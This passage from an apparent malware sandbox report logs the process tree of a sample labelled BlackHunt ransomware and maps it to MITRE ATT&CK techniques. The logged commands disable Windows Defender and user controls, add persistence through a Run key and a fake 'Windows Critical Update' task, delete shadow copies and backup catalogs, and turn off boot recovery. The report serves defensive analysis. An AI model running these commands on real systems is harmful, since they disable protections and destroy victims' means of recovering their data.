  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:1852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:5024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe" /F
  2⤵
  PID:1796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6338eb9df097e270db1568af4971124278c62eba178844cad70fd0b63fb47e89.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3412
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1600
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4204
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1372
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4088
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:892
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4144
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4908
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1412
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4268
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:776
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3220

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1308

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:548

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery